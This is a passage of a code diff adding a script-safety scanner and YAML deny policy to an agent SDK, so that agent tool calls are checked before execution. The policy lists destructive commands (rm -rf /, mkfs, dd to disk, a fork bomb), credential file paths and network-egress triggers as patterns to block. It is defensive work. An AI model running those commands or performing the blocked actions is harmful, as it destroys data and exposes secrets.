self.rule_id, + "scan_duration_ms": self.scan_duration_ms, + "masked": self.masked, + "blocked": self.blocked, + "timestamp": self.timestamp, + "script_type": self.script_type, + } + + def to_otel_attributes(self) -> dict[str, str]: + """Convert to OpenTelemetry span attribute key-value pairs. + + These attributes can be set on a span via:: + + span.set_attributes(audit_event.to_otel_attributes()) + """ + return { + "tool.safety.decision": self.decision, + "tool.safety.risk_level": self.risk_level, + "tool.safety.rule_id": self.rule_id, + "tool.safety.blocked": "true" if self.blocked else "false", + "tool.safety.masked": "true" if self.masked else "false", + "tool.safety.duration_ms": str(self.scan_duration_ms), + } diff --git a/trpc_agent_sdk/tools/safety/_wrapper.py b/trpc_agent_sdk/tools/safety/_wrapper.py new file mode 100644 index 00000000..f89260de --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_wrapper.py @@ -0,0 +1,207 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Standalone wrapper for tool script safety scanning. + +This module provides the SafetyWrapper class which can be used to wrap +tool execution with safety checks without modifying the Filter chain. +This is useful for quick integration or when the Filter system is not +being used. + +Usage:: + + from trpc_agent_sdk.tools.safety import SafetyWrapper + + wrapper = SafetyWrapper() + + # Wrap a tool execution + result = await wrapper.run_safe( + tool_name="Bash", + script_content="rm -rf /", + script_type="bash", + execute_fn=lambda: "safe result", + ) + # result["blocked"] == True + # result["report"] contains the SafetyReport +""" + +from __future__ import annotations + +import os +from typing import Any +from typing import Callable +from typing import Optional + +from trpc_agent_sdk.log import logger + +from ._audit import AuditLogger +from ._policy import SafetyPolicy +from ._scanner import SafetyScanner +from ._types import ScanInput +from ._types import ScriptType + +_DEFAULT_POLICY_PATH = os.path.join( + os.path.dirname(os.path.abspath(__file__)), + "tool_safety_policy.yaml", +) + + +class SafetyWrapper: + """Standalone wrapper for tool script safety scanning. + + This wrapper can be used outside the Filter system to perform + safety checks before executing scripts. It provides a simple + ``run_safe`` method that wraps an execution function. + + The wrapper is **not** a filter — it is a standalone utility + for users who want to integrate safety checks manually. + """ + + def __init__( + self, + policy_path: Optional[str] = None, + policy: Optional[SafetyPolicy] = None, + ) -> None: + """Initialize the safety wrapper. + + Args: + policy_path: Path to the ``tool_safety_policy.yaml`` file. + Defaults to the project root. + policy: An already-loaded SafetyPolicy instance. If provided, + ``policy_path`` is ignored. + """ + if policy is not None: + self._policy = policy + else: + path = policy_path or _DEFAULT_POLICY_PATH + if os.path.exists(path): + self._policy = SafetyPolicy.from_file(path) + else: + self._policy = SafetyPolicy() + self._scanner = SafetyScanner(self._policy) + self._audit_logger = AuditLogger() + + async def run_safe( + self, + tool_name: str, + script_content: str, + script_type: str = "auto", + execute_fn: Optional[Callable[[], Any]] = None, + command_line_args: Optional[list[str]] = None, + working_directory: Optional[str] = None, + env_vars: Optional[dict[str, str]] = None, + tool_metadata: Optional[dict[str, str]] = None, + ) -> dict: + """Execute a script with safety scanning. + + Scans the script content for security risks before execution. + If the script is blocked, the execution function is not called. + + Args: + tool_name: Name of the tool (for audit logging). + script_content: The script content to scan and execute. + script_type: Type of script (``"bash"``, ``"python"``, or + ``"auto"`` for automatic detection). + execute_fn: Async callable that executes the script. + If not provided, only the scan is performed. + command_line_args: Optional command-line arguments. + working_directory: Optional working directory. + env_vars: Optional environment variables. + tool_metadata: Optional tool metadata dict. + + Returns: + A dict with keys: + - ``"blocked"``: Whether execution was blocked. + - ``"report"``: The SafetyReport dict. + - ``"result"``: The result of ``execute_fn`` (if called). + - ``"error"``: Error message if blocked. + """ + # Parse script type + st = self._parse_script_type(script_type) + + # Build scan input + scan_input = ScanInput( + script_content=script_content, + script_type=st, + command_line_args=command_line_args, + working_directory=working_directory, + env_vars=env_vars, + tool_name=tool_name, + tool_metadata=tool_metadata, + ) + + # Scan + report = self._scanner.scan(scan_input) + + # Audit + self._audit_logger.log_report(report) + + # Check if blocked or needs review + if report.is_blocked or report.needs_review: + rule_ids = ",".join(m.rule_id for m in report.matches) + msg = (f"Tool '{tool_name}' execution blocked: " + f"decision={report.decision.name}, " + f"risk={report.risk_level.name}, " + f"rules=[{rule_ids}]") + logger.warning("SafetyWrapper: %s", msg) + return { + "blocked": True, + "report": report.to_dict(), + "result": None, + "error": msg, + } + + # Execute if function provided + result = None + if execute_fn is not None: + result = await execute_fn() + + return { + "blocked": False, + "report": report.to_dict(), + "result": result, + "error": None, + } + + def scan_only( + self, + tool_name: str, + script_content: str, + script_type: str = "auto", + ) -> dict: + """Scan a script without executing it. + + This is a synchronous convenience method for quick safety checks. + + Args: + tool_name: Name of the tool. + script_content: The script content to scan. + script_type: Type of script (``"bash"``, ``"python"``, ``"auto"``). + + Returns: + The SafetyReport dict. + """ + st = self._parse_script_type(script_type) + scan_input = ScanInput( + script_content=script_content, + script_type=st, + tool_name=tool_name, + ) + report = self._scanner.scan(scan_input) + self._audit_logger.log_report(report) + return report.to_dict() + + @staticmethod + def _parse_script_type(script_type: str) -> ScriptType: + """Parse a string script type into a ScriptType enum.""" + mapping = { + "bash": ScriptType.BASH, + "sh": ScriptType.BASH, + "shell": ScriptType.BASH, + "python": ScriptType.PYTHON, + "py": ScriptType.PYTHON, + "auto": ScriptType.UNKNOWN, + } + return mapping.get(script_type.lower(), ScriptType.UNKNOWN) diff --git a/trpc_agent_sdk/tools/safety/tool_safety_policy.yaml b/trpc_agent_sdk/tools/safety/tool_safety_policy.yaml new file mode 100644 index 00000000..4b325996 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/tool_safety_policy.yaml @@ -0,0 +1,143 @@ +# ============================================================ +# Tool Script Safety Policy +# ============================================================ +# 修改此文件无需改代码即可生效。调用 SafetyPolicy.reload() 热加载。 +# +# 策略文件结构： +# global — 全局设置（超时、输出大小、默认决策） +# allowed_domains — 白名单域名（网络外连检查） +# allowed_commands — 允许命令（Bash 白名单） +# forbidden_paths — 禁止访问的路径模式 +# rules — 规则定义（每种风险类型的配置） + +# 全局设置 +global: + max_timeout_seconds: 300 + max_output_size_bytes: 10485760 # 10MB + default_decision: "needs_human_review" # 未匹配规则时的默认决策 + +# 白名单域名 —— 放行的目标域名，用于网络外连检查 +allowed_domains: + - "api.openai.com" + - "api.anthropic.com" + - "api.github.com" + - "api.deepseek.com" + - "pypi.org" + - "files.pythonhosted.org" + +# 禁止路径 —— 禁止读写访问的路径模式（支持 glob 通配符） +forbidden_paths: + - "~/.ssh/*" + - "/.ssh/" + - "/etc/shadow" + - "/etc/passwd" + - "/etc/sudoers" + - ".env" + - "~/.aws/credentials" + - "~/.gitconfig" + - "~/.kube/config" + +# 规则定义 —— 每种风险类型的详细配置 +rules: + # R001: 危险文件操作 + dangerous_file_operations: + enabled: true + decision: deny + risk_level: critical + patterns: + - "rm -rf /" + - "rm -rf /*" + - "rm -rf ~" + - "mkfs" + - "dd if=/dev/zero of=/dev/sda" + - "> /dev/sda" + - "chmod -R 777 /" + + # R002: 敏感文件读取 + sensitive_file_read: + enabled: true + decision: deny + risk_level: high + patterns: + - "~/.ssh/" + - "/etc/shadow" + - "/etc/passwd" + - ".env" + - "aws/credentials" + - "id_rsa" + - "id_ed25519" + + # R003: 网络外连 + network_egress: + enabled: true + decision: deny + risk_level: high + check_domains: true + trigger_commands: + - "curl" + - "wget" + - "requests" + - "aiohttp" + - "socket" + - "urllib" + + # R004: 进程/系统命令 + process_execution: + enabled: true + decision: deny + risk_level: high + patterns: + - "subprocess" + - "os.system" + - "os.popen" + - "pty.spawn" + - "sudo" + - "\\bsu\\b" + - "chsh" + - "passwd" + + # R005: 依赖安装 + dependency_installation: + enabled: true + decision: deny + risk_level: high + patterns: + - "pip install" + - "pip3 install" + - "npm install" + - "npm ci" + - "apt install" + - "apt-get install" + - "brew install" + - "gem install" + - "cargo install" + + # R006: 资源滥用 + resource_abuse: + enabled: true + decision: deny + risk_level: medium + patterns: + - "while True" + - "while :" + - "fork()" + - ":(){ :|:& };:" # fork bomb + - "sleep 86400" + - "sleep 999999" + + # R007: 敏感信息泄漏 + sensitive_info_leak: + enabled: true + decision: deny + risk_level: critical + patterns: + - "API_KEY" + - "api_key" + - "API_SECRET" + - "access_token" + - "secret_key" + - "password" + - "passwd=" + - "Authorization: Bearer" + - "PRIVATE_KEY" + - "-----BEGIN.*PRIVATE KEY-----" \ No newline at end of file